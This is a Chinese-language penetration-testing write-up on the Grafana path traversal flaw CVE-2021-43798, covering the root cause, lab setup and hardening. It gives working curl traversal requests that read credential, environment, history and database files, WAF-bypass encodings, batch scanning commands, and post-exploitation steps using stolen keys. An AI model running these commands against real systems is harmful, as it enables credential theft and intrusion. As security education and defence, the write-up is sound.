1. 项目概述:一次从信息泄露到权限提升的完整攻防演练
最近在整理内部资产安全评估报告时,我重新复盘了去年处理过的一个典型漏洞案例——Grafana的目录遍历漏洞(CVE-2021-43798)。这个漏洞本身并不复杂,就是一个经典的路径穿越,但它在实战中的价值远超一个简单的信息泄露。很多安全团队在扫描器报出这个漏洞后,可能只是简单地验证一下“能读到/etc/passwd”,然后提交一个低危或中危报告就结束了。但实际上,这个漏洞的链条可以拉得很长,从最初的敏感信息窥探,到中间件的配置获取,再到最终的权限提升,是一条非常清晰的攻击路径。今天我就结合当时的实战记录,把这个漏洞的完整利用链条、背后的原理、以及防御思路拆解清楚,希望能给负责资产安全、渗透测试和红队演练的同行们提供一个深度的参考模板。
简单来说,CVE-2021-43798是一个影响Grafana 8.0.0-beta1到8.3.0版本(不含8.3.0)的目录遍历漏洞。攻击者可以通过构造特定的HTTP请求,绕过Grafana对静态资源路径的校验,读取服务器上的任意文件。这个漏洞的CVSS评分是7.5,属于高危。但它的真正危险之处在于,Grafana通常作为监控系统的门户,部署在内网核心区域,且往往以较高权限(如root或管理员用户)运行。一旦能读取关键配置文件,获取数据库密码、密钥或其它中间件的访问凭证,攻击面就会急剧扩大。接下来,我会从漏洞原理、环境搭建、漏洞复现、信息深度利用、权限提升尝试以及最终的加固建议这几个方面,完整地走一遍这个“探索之路”。
2. 漏洞原理与影响范围深度解析
2.1 漏洞触发的技术根源
要理解这个漏洞,首先得知道Grafana是怎么处理插件资源的。Grafana有一个强大的插件生态系统,比如数据源插件(Prometheus, MySQL)、面板插件等等。这些插件安装后,其前端静态资源(如JavaScript、CSS、图片)会存放在一个特定的目录下,例如/var/lib/grafana/plugins。当用户访问一个插件的前端页面时,Grafana会根据请求的URL路径,去对应的插件目录下查找并返回文件。
漏洞出现在处理这些插件静态文件请求的代码逻辑中。在受影响的版本中,负责此功能的代码(位于pkg/api/plugins.go或相关路由处理中)对用户请求的pluginId和文件路径参数*(通常对应/public/plugins/{pluginId}/{filepath}这样的路由)进行了拼接,但在拼接前没有对filepath参数进行充分的规范化(canonicalization)和路径穿越检查。
攻击者可以构造这样的请求:GET /public/plugins/grafana-image-renderer/../../../../../../etc/passwd。这里,grafana-image-renderer是一个合法的插件ID(几乎所有默认安装的Grafana都有),而../../../../../../etc/passwd就是我们要穿越的路径。代码在拼接时,可能会直接进行字符串拼接:basePluginPath + “/” + requestedFilePath。由于没有解析..并回溯到上一级目录,这个拼接后的路径就可能跳出插件目录,指向文件系统的其他位置。
注意:这里
grafana-image-renderer只是一个例子。实际上,任何已安装插件的ID都可以被利用。在实战中,我们通常会先枚举目标Grafana实例安装了哪些插件,再选择其中一个作为“跳板”。
2.2 受影响版本与资产识别
官方明确受影响的版本范围是:8.0.0-beta1 <= Grafana版本 < 8.3.0。8.3.0及之后的版本修复了此漏洞。这意味着在2021年底到2022年初,大量在线Grafana实例都暴露在此风险之下。
在实战中,识别目标是否使用Grafana以及其版本号是第一步。除了使用常见的Web指纹识别工具(如Wappalyzer、WhatWeb)外,有以下几个手动技巧:
- 访问默认路径与登录页:直接访问
http://target:3000(3000是Grafana默认端口)。登录页或未登录时的页面底部,有时会包含版本信息。 - 利用API接口:Grafana提供了丰富的HTTP API。访问
http://target:3000/api/health,通常会返回一个JSON,其中包含version字段。这个接口通常不需要认证。 - 查看静态资源:查看页面中引用的JavaScript或CSS文件路径,有时版本号会编码在文件名或路径里。
一旦确认版本在受影响范围内,就可以进行漏洞验证了。这里需要强调,所有安全测试必须在获得明确授权的环境中进行,针对未授权的系统进行测试是违法行为。
2.3 漏洞的潜在危害评估
为什么一个目录遍历能评到7.5分?我们来看看它能读到什么:
- Grafana自身配置文件:最重要的是
/etc/grafana/grafana.ini。这个文件包含了Grafana的全部配置,特别是[database]段,里面明文存储着Grafana元数据库(默认是SQLite,也可能是MySQL或PostgreSQL)的连接密码。拿到这个密码,就意味着可以完全控制Grafana的后台数据,包括用户信息、仪表盘配置等。 - 系统敏感文件:经典的
/etc/passwd和/etc/shadow(需要root权限运行Grafana才能读)。可以用于用户枚举和潜在的密码破解。 - Secrets与密钥:如
/proc/self/environ(进程环境变量,可能泄露密钥)、/home/*/.bash_history(历史命令)、/home/*/.ssh/id_rsa(SSH私钥)、Docker相关的/run/secrets/*等。 - 应用配置文件:Grafana常与Prometheus、Loki、Elasticsearch等配套使用。通过读取这些组件的配置文件(如Prometheus的
prometheus.yml),可能获得访问这些内部服务的凭证,进一步横向移动。 - 云环境元数据:如果Grafana部署在云服务器(如AWS EC2、阿里云ECS)上,可以尝试读取云元数据接口,例如
http://169.254.169.254/latest/meta-data/。虽然不能直接通过文件读取访问,但有时能通过其他文件间接发现云环境信息。
3. 实战环境搭建与漏洞复现
3.1 快速搭建靶场环境
为了不影响生产环境,我们强烈建议在隔离的虚拟机或容器内进行复现。使用Docker是最快的方式。
# 拉取一个存在漏洞的Grafana镜像,例如8.2.0版本 docker pull grafana/grafana:8.2.0 # 运行容器,将默认的3000端口映射到宿主机的3000端口 docker run -d --name grafana-vuln -p 3000:3000 grafana/grafana:8.2.0 # 查看容器日志,确认启动成功 docker logs -f grafana-vuln等待几十秒,访问http://localhost:3000,你应该能看到Grafana的登录界面。默认用户名和密码是admin/admin,首次登录会要求修改密码。
3.2 手动验证漏洞存在性
我们使用最直接的HTTP请求工具curl来验证。首先,我们需要知道一个已安装的插件ID。除了前面提到的grafana-image-renderer,grafana-piechart-panel也是一个常见的内置插件。
验证读取/etc/passwd:
curl --path-as-is "http://localhost:3000/public/plugins/grafana-piechart-panel/../../../../../../etc/passwd"如果返回了/etc/passwd文件的内容,说明漏洞存在。--path-as-is参数是关键,它告诉curl不要自动标准化URL中的..,否则curl会先处理掉路径穿越符号,导致请求失效。
验证读取Grafana配置文件:
curl --path-as-is "http://localhost:3000/public/plugins/grafana-piechart-panel/../../../../../../etc/grafana/grafana.ini"如果成功,你会看到一堆配置信息。立刻搜索[database]部分,找到password字段。
3.3 使用自动化工具进行初步探测
手动测试没问题后,我们可以用一些开源工具来批量探测和利用。例如,nuclei模板引擎就有针对此漏洞的检测模板。
# 安装nuclei(如果尚未安装) # go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest # 使用nuclei进行检测 nuclei -u http://target:3000 -t cves/2021/CVE-2021-43798.yaml这个模板会自动尝试读取/etc/passwd和/etc/hosts来确认漏洞。在授权测试中,使用自动化工具可以快速扫描大量资产。但我个人的习惯是,在关键资产上,即使工具报出来了,也要手动复现一遍,并深入挖掘工具没有覆盖的利用点。
4. 从信息泄露到横向移动的深度利用
4.1 关键配置文件的信息提取
读到grafana.ini只是第一步,如何从中提取出有价值的信息才是关键。我们需要关注以下几个配置段:
[database]:这是重中之重。type:数据库类型,sqlite3,mysql,postgres。host,port,name:数据库地址和库名。user,password:数据库用户名和密码(可能是明文)。- 如果
type是sqlite3,那么path字段会指向SQLite数据库文件的位置(如/var/lib/grafana/grafana.db)。我们可以直接通过目录遍历漏洞把这个.db文件下载下来,用SQLite浏览器打开,里面包含了用户表(user)、数据源配置表(data_source)等所有核心数据。
[security]:secret_key:用于签名会话Cookie和加密某些数据。如果获取到这个密钥,在特定条件下可能伪造会话。
[auth.*]:如[auth.ldap]、[auth.generic_oauth]等,可能包含外部认证系统的配置信息,甚至是客户端密钥。[smtp]:邮件服务器配置,可能包含邮箱密码。
实操心得:配置文件可能很大,直接用curl看不太方便。我通常会重定向到文件,然后用grep进行关键字段过滤。
curl --path-as-is "http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../etc/grafana/grafana.ini" -o grafana.ini grep -A5 -B2 "\[database\]" grafana.ini grep -A5 -B2 "secret_key" grafana.ini4.2 寻找数据库凭证与连接
假设我们从配置文件中拿到了MySQL的密码:password = SuperSecretDBPassword123,数据库地址是127.0.0.1:3306,库名是grafana。
虽然Grafana服务本身可能只监听3000端口,但数据库3306端口很可能只在本地监听。此时,如果我们还没有获得服务器shell,这个密码似乎用不上。但别急,我们可以尝试:
- 检查Grafana数据源配置:Grafana除了自己的元数据库,还会配置很多数据源(Data Source),如Prometheus、MySQL、PostgreSQL、Elasticsearch等。这些数据源的连接配置(包括密码)默认是加密后存储在元数据库里的。加密密钥就是上面提到的
secret_key。如果我们同时拿到了加密后的密码和secret_key,理论上可以解密。但这个过程相对复杂。 - 利用SSH隧道进行内网穿透(在获得一定权限后):如果我们通过其他漏洞(或者这个漏洞读到了SSH私钥)获得了一个跳板机的访问权限,并且该跳板机能访问目标Grafana服务器,我们可以建立SSH隧道,将目标的3306端口映射到本地,然后用得到的密码连接。
然后在本机用# 在跳板机上执行,将远程的3306映射到本地的13306 ssh -L 13306:127.0.0.1:3306 user@grafana-server -Nmysql -h 127.0.0.1 -P 13306 -u grafana -p连接,输入密码即可。进入数据库后,可以查看data_source表,里面可能有其他系统的明文或加密密码。
4.3 挖掘进程环境变量与历史记录
Linux系统的/proc文件系统是个宝库。每个进程都有一个/proc/[pid]的目录,其中/proc/[pid]/environ文件包含了该进程启动时的所有环境变量。Grafana进程的环境变量中,可能包含:
- 数据库连接字符串(如
GF_DATABASE_PASSWORD)。 - 第三方服务的API密钥。
- 云服务商的访问密钥。
要读取它,我们需要知道Grafana进程的PID。通常,Grafana如果以服务形式运行,其主进程PID可能是1(在容器内)或者一个固定的数字。我们可以尝试读取/proc/self/environ,这个符号链接指向当前进程自身。但通过Web漏洞访问时,“当前进程”是处理我们请求的那个Worker进程(可能是Grafana的,也可能是反向代理如Nginx的),不一定是我们想要的。不过仍然值得一试。
curl --path-as-is "http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../proc/self/environ" | tr '\0' '\n'tr ‘\0’ ‘\n’命令用于将环境变量中的空字符替换为换行,方便阅读。
此外,尝试读取用户的历史命令文件也很有价值:
curl --path-as-is "http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../home/grafana/.bash_history" curl --path-as-is "http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../root/.bash_history"历史命令里可能包含直接带密码的命令、内部服务的访问方式、甚至是一些临时提权操作。
5. 权限提升的尝试与思路
通过目录遍历拿到敏感信息后,我们的目标是从一个“文件读取”的能力,升级为在系统上执行命令(RCE)或获得更高权限的shell。这通常需要结合其他条件或漏洞。
5.1 场景一:获取数据库控制权后的提权
如果我们成功连接上了Grafana的元数据库(特别是SQLite),并且Grafana版本较旧,我们可以尝试修改用户数据来提升权限。
步骤:
- 下载数据库文件:假设数据库路径是
/var/lib/grafana/grafana.db。curl --path-as-is "http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../var/lib/grafana/grafana.db" -o grafana.db - 分析数据库结构:使用
sqlite3命令行工具或图形化工具打开。
重点关注sqlite3 grafana.db .tables # 查看所有表 PRAGMA table_info(user); # 查看user表结构 SELECT * FROM user; # 查看用户数据user表的login、email、password、salt、rands字段。Grafana的密码是经过加盐哈希的,格式是salt:sha256_hex(salt + password)。直接修改哈希值很困难。 - 尝试添加管理员用户(旧版本可能有效):在一些非常旧的版本或特定配置下,可能存在逻辑漏洞。但更实际的方法是,修改一个现有低权限用户的密码哈希为我们已知的。这需要我们知道目标Grafana的
secret_key,因为密码哈希计算可能用到它。或者,如果我们能在本地搭建一个相同版本的Grafana,创建一个已知密码的用户,然后将这个用户的salt和password哈希值复制到目标数据库的对应记录中。这种方法成功率不高,且对版本和配置有严格要求,仅作为思路探讨。
5.2 场景二:利用泄露的密钥或凭证
- SSH私钥:如果幸运地读到了
/home/*/.ssh/id_rsa文件,并且对应账户允许SSH密钥登录,那么直接就可以获得一个shell。chmod 600 id_rsa ssh -i id_rsa user@target-ip - 云元数据服务凭证:如果从环境变量或配置文件中发现了云服务的访问密钥(如AWS的
AWS_ACCESS_KEY_ID和AWS_SECRET_ACCESS_KEY),可以使用对应的CLI工具(如aws cli)或SDK来操作云资源,可能能够创建新的具有SSH权限的实例,或者直接执行命令(如AWS SSM Run Command)。 - CI/CD或运维工具凭证:例如,读取到Jenkins的API token、Ansible的vault密码、Kubernetes的
kubeconfig文件等。这些都可能通向更广阔的权限空间。
5.3 场景三:结合其他漏洞或错误配置
单纯的CVE-2021-43798很难直接导致RCE。但在实战中,它常常是“敲门砖”,为我们提供下一步攻击所需的信息。例如:
- 发现Web应用源码:通过遍历读取到了其他Web应用的配置文件或源码(如
/var/www/html/config.php),里面可能包含数据库密码,从而攻破那个应用。 - 发现内部服务接口:从Prometheus配置中发现了内网监控目标的地址,而这些目标可能存在未授权访问或已知漏洞。
- 发现文件上传点:通过读取日志或配置文件,发现Grafana服务器上还运行着其他有文件上传功能的服务,结合获取的路径信息,可能实现Webshell上传。
一个重要的注意事项:在利用读取到的信息进行下一步攻击时,务必注意法律和授权边界。你读取到的密码可能不仅用于目标系统,还可能用于同一管理员管理的其他系统。在渗透测试授权书中,必须明确测试范围是否包含这些关联系统。
6. 漏洞修复与安全加固指南
对于防御方来说,仅仅升级Grafana是远远不够的。需要建立纵深防御体系。
6.1 紧急修复措施
- 立即升级:将Grafana升级到8.3.0或更高版本。这是最根本的解决方案。官方修复方案是对请求的文件路径进行了严格的净化处理,确保其被限制在插件目录内。
- 临时缓解:如果无法立即升级,可以通过反向代理(如Nginx、Apache)添加规则来拦截恶意请求。Nginx配置示例:
注意:这种基于字符串匹配的过滤可能存在被绕过的风险(如URL编码、双重编码等),只能作为临时措施。location ~ ^/public/plugins/([^/]+)/(.*) { # 检查请求路径中是否包含目录遍历序列 if ($request_uri ~* "\.\./") { return 403; } # 原有的代理配置 proxy_pass http://grafana-backend; } - 网络隔离:严格限制Grafana实例的访问来源,仅允许运维人员或监控系统所在的IP段访问其管理界面(3000端口)。
6.2 长期安全加固建议
- 最小权限原则运行:绝对不要以
root用户运行Grafana。创建一个专用的、低权限的系统用户(如grafana)来运行Grafana服务。在Docker中,也应使用USER指令指定非root用户。这可以极大限制漏洞发生时能读取的文件范围(例如,无法读取/etc/shadow)。 - 配置文件安全:
- 将
grafana.ini中数据库密码等敏感信息,替换为使用环境变量引用。例如,在配置文件中写password = ${GF_DATABASE_PASSWORD},然后在启动时传入环境变量。 - 定期审计配置文件,确保没有明文硬编码的密码。
- 将
- 数据源密码加密:确保Grafana的
secret_key是强随机值,并且妥善保管。这样即使数据库被拖库,数据源的密码也是加密的。 - 定期安全更新:订阅Grafana的安全公告,建立软件资产清单和漏洞响应流程,确保所有实例能及时打上补丁。
- 入侵检测与日志审计:启用Grafana的详细日志,并集中收集分析。关注
/public/plugins/路径下包含..的异常访问日志。可以使用WAF或IDS规则来检测和阻断目录遍历攻击。 - 纵深防御:
- 将Grafana部署在内网,通过堡垒机或VPN访问。
- 对Grafana服务器进行文件系统加固,使用AppArmor或SELinux限制其进程的文件访问能力。
- 考虑使用容器安全方案,限制容器的能力集(如
--cap-drop=ALL)和文件系统挂载(只读挂载)。
7. 排查技巧与常见问题实录
在复现和利用这个漏洞的过程中,我踩过一些坑,也总结了一些排查技巧。
问题1:使用curl测试返回404或403,但漏洞确实存在?
- 可能原因1:插件ID不对。目标可能没有安装你使用的插件。解决方法:先访问目标Grafana的
/api/plugins接口(可能需认证),或者尝试一些更常见的插件ID,如alertlist、annolist、barchart、gauge、geomap、gettingstarted、grafana-azure-monitor-datasource、heatmap、histogram、logs、news、nodeGraph、piechart、stat、table、table-old、tempo、text、timeseries、welcome。也可以从页面源码中搜索public/plugins/来寻找。 - 可能原因2:路径深度不够。
../../../../../../可能不足以跳转到根目录。可以尝试增加穿越层级,如../../../../../../../。 - 可能原因3:WAF或反向代理拦截。一些云WAF或自建的Nginx规则可能会过滤包含
..的请求。尝试对..进行URL编码(%2e%2e%2f或..%2f)或双重编码(%252e%252e%252f)进行绕过。 - 可能原因4:文件不存在或权限不足。即使路径穿越成功,目标文件也可能不存在,或者Grafana进程用户没有读取权限。
问题2:读到的配置文件是空的或乱码?
- 可能原因:文件可能是二进制格式,或者curl输出到了终端导致显示问题。使用
-o参数保存到文件,再用file命令和文本编辑器查看。
问题3:如何批量检测一批Grafana资产?
- 推荐工具:
nuclei+httpx。首先用httpx快速识别开放3000端口且标题包含Grafana的资产,然后用nuclei的CVE模板进行检测。可以编写一个简单的Shell脚本进行联动。# 假设有一个目标文件 targets.txt httpx -l targets.txt -p 3000 -title -silent | grep -i grafana | awk '{print $1}' > grafana_targets.txt nuclei -l grafana_targets.txt -t cves/2021/CVE-2021-43798.yaml -o results.txt
问题4:在Docker环境里,为什么读不到/etc/shadow?
- 原因:默认的
grafana/grafana镜像就是以非root用户(UID 472,用户名为grafana)运行的。这是Grafana官方镜像的安全最佳实践,有效限制了漏洞的影响范围。这反过来也提醒我们,在生产环境中以非root权限运行服务是多么重要。
一个高级技巧:利用漏洞读取Grafana的SQLite数据库文件后,除了查看密码,还可以关注data_source表。虽然密码字段是加密的,但json_data字段可能以JSON格式存储了一些配置,其中偶尔会包含明文的访问令牌或密码(这取决于数据源类型和配置方式)。务必仔细检查。
回顾整个从漏洞验证到深度利用的过程,CVE-2021-43798给我的最大启示是:一个看似中高风险的漏洞,在特定的环境上下文和攻击者持之以恒的挖掘下,其危害边界可以变得非常模糊。它不再仅仅是一个“信息泄露”,而是成为了打开内网大门的一把钥匙。对于防御者而言,修补漏洞只是第一步,更重要的是通过最小权限、网络隔离、日志监控和定期审计,构建起让攻击者即使拿到一块“碎片”,也无法拼出完整“地图”的防御体系。在实战中,我养成了一个习惯:每当验证一个信息泄露漏洞时,总会多问自己一句:“除了报告里写的那个文件,我还能读到什么?读到的这些东西,又能带我去哪里?” 这种思维方式的转变,往往才是安全能力提升的关键。